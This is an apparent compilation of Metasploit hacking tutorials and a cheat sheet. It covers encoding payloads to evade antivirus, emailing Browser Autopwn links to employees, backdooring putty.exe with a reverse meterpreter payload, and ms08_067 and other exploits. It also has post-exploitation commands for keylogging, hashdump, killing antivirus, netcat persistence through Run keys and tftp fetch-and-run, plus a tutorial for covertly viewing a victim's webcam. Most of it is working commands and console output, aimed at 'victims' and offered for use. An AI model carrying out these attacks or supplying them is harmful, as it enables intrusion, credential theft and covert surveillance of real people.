Bypass and Crypte Payload from antivirus

Bypassing Antivirus with Msfencode (10 pts.)

What You Need

• A BackTrack Linux machine, real or virtual. I used BackTrack 5 R2, but other versions of BackTrack are probably OK too.

WARNING

We are using some harmless test files, but don’t infect people with any real viruses–that’s a crime!

Purpose

Antivirus protects machines from malware, but not all of it. There are ways to pack malware to make it harder to detect. We’ll use metasploit to render malware completely invisible to antivirus.

Creating a Listener

This is a simple payload that gives the attacker remote control of a machine. It is not a virus, and won’t spread, but it is detected by antivirus engines.

In BackTrack, in a Terminal window, execute these commands:

cdmsfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe

ls -l listen.exe

You should see the listen.exe file, as shown below:

Analyzing the Listener with VirusTotal

In BackTrack, click Applications, Internet, “Firefox Web Browser“.

In Firefox, go to https://www.virustotal.com/

Click the “Choose File” button. Navigate to /root and double-click the listen.exe

“listen.exe” appears in the “Choose File” box, as shown below:

In the VirusTotal web page, click the “Scan It!” button.

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that many of the antivirus engines detected the file–33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Saving the Screen Image

Make sure the result is visible, showing something like “Detection rate: 33/42“, as shown above.

Save a screen capture with a filename of “Proj 6xa from YOUR NAME“.

Encoding the Listener

This process will encode the listener, and insert it into an innocent SSH file.

In BackTrack, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1

ls -l evil*

You should see the evil-ssh.exe file, as shown below:

Analyzing the Encoded Listener with VirusTotal

In Firefox, go to https://www.virustotal.com/

Click the “Choose File” button. Navigate to /root and double-click the evil-ssh.exe file.

In the VirusTotal web page, click the “Scan It!” button.

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that fewer of the antivirus engines detect the file now–21 out of 42, when I did it, as shown below. You may see different numbers.

Encoding the Listener Again

This process will encode the listener with several different encodings, as recommended by Keith Burton (Thanks!).

In BackTrack, in a Terminal window, execute these commands:

msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1

msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1

ls -l listen*

You should see several files, as shown below:

Analyzing the Encoded Listener with VirusTotal

In Firefox, go to https://www.virustotal.com/

Click the “Choose File” button. Navigate to /root and double-click the listen5.exe file.

In the VirusTotal web page, click the “Scan It!” button.

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that fewer of the antivirus engines detect the file now–0 out of 42, when I did it, as shown below. You may see different numbers.

Saving the Screen Image

Make sure the result is visible, showing a lower detection rate, like “Detection rate: 0/42“, as shown above.

Save a screen capture with a filename of “Proj 6xb from YOUR NAME“.

Metasploit Browser Autopwn

In nowadays due to firewall restrictions and patch management policies exploitation of systems has become much more difficult.However one of the most efficient way is the use of client-side attacks.Client side attacks requires the user interaction and in most of the cases can be used through social engineering engagements.An employee which will not have the necessary knowledge to understand the risks of opening untrusted links can help an attacker to exploit any internal systems.Also the fact that browsers are not patched as often as operating systems makes the problem bigger.

In this article we will examine the effectiveness of metasploit browser autopwn module.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open.

In order to use this attack we have to open the metasploit framework and to use the browser_autopwnmodule.In the next image you can see the available options and default settings for this module.

Options of browser autopwn module

We will set up the LHOST with our IP address,the SRVPORT with the port 80 (otherwise the link that we have to send to the user must me in the format IP:8080) and the URIPATH with / in order to prevent metasploit to set up random URL’s.

Configuring the Browser Autopwn

After the execution of this module we will notice that different exploits for a variety of browsers will start loading to our web server.

Loading the browser exploits

Now we can share the link through our email to our client employees.If any user opens the malicious link,the autopwn module will try all these exploits in order to see if it can break into the client.If the browser is vulnerable to any of these exploits meterpreter sessions will open.

Meterpreter sessions opened with Browser Autopwn

Browser based attacks are not stable.This is because browsers can crash which means that the meterpreter session or the shell access will lost.For that reason the metasploit will try to migrate with a another process more stable as soon as possible.

Migrate to another process

Conclusion

Most of the organizations are behind proxy firewalls so only the port 80 is allowed.From the other hand many employees are using social networks these days for various reasons.An attacker can exploit that and send malicious links through the social networks to users so the use of this attack can be very effective against companies as it contains exploits for most of the popular browsers and it only requires the mistake of one person in order to be successful.Metasploit Browser Autopwn module is the proof of how dangerous is to open links that are coming from untrusted sources.

Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Owned! Meterpreter executing on victim

MetaSploit Attacks

Hey guys, I've already explained about Metasploit and a few of it's attacks. This post is only for Metasploit users who know the basics of meterpreter, payloads and other stuff. Don't waste your time in reading this if you don't know about Metasploit.  So what's new in this post, let's find out :

Requisites:

Backtrack (Attacker)
VMware (Different victims)
Metasploit (of course... )
A logistic Brain

Note:~ All these tutorials are just commands, because as you can see there are loads of them so just understand them by your own (You just need to run these commands).

Ok so without wasting a second let's do it.


Attack 1: Hacking Windows XP with Metasploit tutorial - VNC remote control

use windows/smb/ms08_067_netapi
show optios
set RHOST 192.168.1.1                ----->IP target
set payload windows/vncinject/bind_tcp
exploit


Attack 2.Metasploit vs Windows 7 and AVG

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOT 192.168.0.1             ----->IP Attacker
set LPORT 5555
exploit
ps
migrate 1880
cd c:\ ls
download program-7.exe /root
run killav
shell


Attack 3. Hacking By Metasploit . Windows xp Sp3 

use windows/smb/ms08_067_netapi
set LHOST 192.168.1.1                --->ip attacker
set RHOST 192.168.1.1               ----->ip target
set payload windows/meterpreter/reverse_tcp
exploit


Attack 4: Hacking win7 with metasploit

nmap -sS -v -PN 192.168.1-255
use exploit/multi/handler
set LHOST 192.168.1.1    ------>ip attacker
set LPORT 5555
set payload windows/meterpreter/reverse_tcp
show optios
set EndOnSession false
show optios
set RHOST 192.             ------>ip target
set RPORT 4321
show options
exploit


Attack 5: Exploit vulnerability in Windows 7

sudo nmap 192.168.1.1         ------>445/tcp_open microsoft-ds
use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh
set RHOST 192.168.1.1             -----------ip target
set RPORT 445
run                              ----run the exploit


Attack 6: Metasploit backdooring

msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X >backdoor.exe
root@kislay# cd /tmp                  
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1            --->Listener's IP (Attacker)
show options
exploit
?
getuid
use priv
hashdump
keyscan_start
keyscan_dump
sysinfo
msg *                    ------->msg displayed on the screen


Attack 7: ms10 025 metasploit exploitation

nmap -O 192.168.1.7-----see the target operating system
search ms10
use exploit windows/mmsp/ms10_25_wmss_connect_funnel
set payload windows/shell_bind_tcp
show options
set RHOST 192.168.1.7     --ip target
exploit


Attack 8: IEPeers: ms10_08_ie_behaviors Exploit

search iepeers
use windows/browser/ms10_018_ie_behaviors
set PAYLOAD windows/exec
show options
set SRVHOST 192.168.1.1        
set URIPATH /
set CMD calc.exe
set target 1
info                              ---->Available targets ;1 IE 6 spo-sp2 (onclick)
exploit
using url: http://192.168.1.1:8080/
open the browser mozilla or whatever browser used
type: http://192.168.1.1:8080/            ---enter
wait a few moments...


Attack 9: metasploit rpc_dum

nmap -sS 192.168...
135/TCP open
use msrpc_dcom_ms03_026
set payload win32_reverse_meterpreter
show options
set RHOST 192.168.1.1        ---->ip target
set LHOST 192.168.0.1        ----->ip attacker
exploit
help
use -m process
execute -f cmd.exe -c
interact 1
c:\winnt\system32\>dir


Attack 10: Uploading A Backdoor Metasploit Netcat

meterpreter> upload netcat.exe c:\\WINDOWS\\SYSTEM32\\
meterpreter> reg enumkey -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run
meterpreter> reg setval -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run -v windows live -d "c:\\WINDOWS\\SYSTEM32\\netcat.exe -L -d -p 5555 -e cmd.exe
meterpreter> reg enumkey -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run
meterpreter> reboot
bt~# nc 192.168.1.1 5555


Attack 11:  BackTrack 4 R1 Metasploit 3 & SET, Hacking Windows 7

cd /pentest/exploits/SET
./set
Enter you choice: 4
enter the ip addres : 192.168.1.1
enter chose ( hit enter for default): 2
enter chose ( hit enter for default):16
set port 4444
open Konqueror /pentest/exploits/SET/
media/sda3                ---------->msf.exe
cd /pentest/exploits/SET# cd ..
/pentest/exploits# cd framework3
./msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168..
set lport 4444
exploit
use priv
help
excecute -f cmd
ipconfig
shell
screenhot
excecute -f explorer


Attack 12:  ms067 + netcat backdoor

use windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST
set LHOST
exploit
upload /root/nc.exe c:\\WINDOWS\\SYSTEM32\\

Metasploit Cheatsheet

During last 30 months I've been working on Metasploit and I can proudly say that I am able to make this Cheat sheet of Metasploit. I just wrote the commands only --No Explanation-- sorry for this, but I just want to help LEARNERS, NOT LAMERS. So here are the commands:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST rmccurdy.com

set LPORT 21

set ExitOnSession false

# set AutoRunScript pathto script you want to autorun after exploit is run

set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

exploit -j -z

____________________________________________________________________

# file_autopwn

rm -Rf /tmp/1

mkdir /tmp/1

rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressR...s/nga10_02.pdf

./msfconsole

db_driver sqlite3

db_create pentest11

setg LHOST 75.139.158.51

setg LPORT 21

setg SRVPORT 21

setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf

use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf

set SSL true

set ExitOnSession false

set PAYLOAD windows/meterpreter/reverse_tcp

setg PAYLOAD windows/meterpreter/reverse_tcp

set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

run

________________________________________________________________________

# shows all the scripts

run [tab]

________________________________________________________________________

# persistence! broken ...if you use DNS name ..

run persistence -r 75.139.158.51 -p 21 -A -X -i 30

________________________________________________________________________

run get_pidgin_creds

idletime

sysinfo

________________________________________________________________________

# SYSTEM SHELL ( pick a proc that is run by system )

migrate 376

shell

________________________________________________________________________

# session hijack tokens

use incognito

impersonate_token "NT AUTHORITY\\SYSTEM"

________________________________________________________________________

# escalate to system

use priv

getsystem

________________________________________________________________________

execute -f cmd.exe -H -c -i -t

execute -f cmd.exe -i -t

________________________________________________________________________

# list top used apps

run prefetchtool -x 20

________________________________________________________________________

# list installed apps

run prefetchtool -p

________________________________________________________________________

run get_local_subnets

________________________________________________________________________

# find and download files

run search_dwld "%USERPROFILE%\\my documents" passwd

run search_dwld "%USERPROFILE%\\desktop passwd

run search_dwld "%USERPROFILE%\\my documents" office

run search_dwld "%USERPROFILE%\\desktop" office

________________________________________________________________________

# alternate

download -r "%USERPROFILE%\\desktop" ~/

download -r "%USERPROFILE%\\my documents" ~/

________________________________________________________________________

# alternate to shell not SYSTEM

# execute -f cmd.exe -H -c -i -t

________________________________________________________________________

# does some run wmic commands etc

run winenum

________________________________________________________________________

# rev shell the hard way

run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"

________________________________________________________________________

# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.

run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4

run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4

________________________________________________________________________

# vnc / port fwd for linux

run vnc

________________________________________________________________________

# priv esc

run kitrap0d

________________________________________________________________________

run getgui

________________________________________________________________________

# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!

run killav

run winemun

run memdump

run screen_unlock

_________________________________________________________________________

upload /tmp/system32.exe C:\\windows\\system32\\

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion \\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion \\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion \\Run -v system32

reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list

reg setval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v sys

reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v system32

upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"

__________________________________________________________________________

getuid

ps

getpid

keyscan_start

keyscan_dump

migrate 520

portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"

portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666

___________________________________________________________________________

shell

run myremotefileserver_mserver -h

run myremotefileserver_mserver -p 8787

___________________________________________________________________________

run msf_bind

run msf_bind -p 1975

rev2self

getuid

___________________________________________________________________________

getuid

enumdesktops

grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump

run metsvc

run scraper

run checkvm

run keylogrecorder

run netenum -fl -hl localhostlist.txt -d google.com

run netenum -rl -r 10.192.0.50-10.192.0.254

run netenum -st -d google.com

run netenum -ps -r 10.192.0.50-254

________________________________________________________________________

# Windows Login Brute Force Meterpreter Script

run winbf -h

________________________________________________________________________

# upload a script or executable and run it

uploadexec

________________________________________________________________________

# Using Payload As A Backdoor from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f

at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"

SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011

_________________________________________________________________________

# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks

catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"

catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"

catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy

__________________________________________________________________________

Metasploit: See your victim's Webcam.!!

Wanna have some fun with Metasploit. Open the webcam of your victim and see how is he/she. :P

msf>  show exploits

msf>use windows/browser/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp

payload=> windows/meterpreter/reverse_tcp

msf  exploit(adobe_cooltype_sing) > show options

Module options (exploit/windows/browser/adobe_cooltype_sing):

   Name                Current Setting         Required  Description

   ----                     ---------------               --------    -----------

   SRVHOST            0.0.0.0                        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0

   SRVPORT             8080                          yes       The local port to listen on.

   SSL                         false                           no        Negotiate SSL for incoming connections

   SSLCert                                                    no        Path to a custom SSL certificate (default is randomly generated)

   SSLVersion             SSL3                         no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

   URIPATH                                                 no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name

   --  ----

   0   Automatic

msf  exploit(adobe_cooltype_sing) > set SRVHOST 192.168.0.58

SRVHOST => 192.168.0.58

msf  exploit(adobe_cooltype_sing) > set SRVPORT 80

SRVPORT => 80

msf  exploit(adobe_cooltype_sing) > set uripath /

uripath => /

msf  exploit(adobe_cooltype_sing) > set uripath /

uripath => /

msf  exploit(adobe_cooltype_sing) >exploit -j

Let the victim open your IP in his/her browser and when it will be opened, you will get 1 meterpreter session.

msf  exploit(adobe_cooltype_sing) > session -i 1

meterpreter> run webcam

and you will get the webcam of victim. :)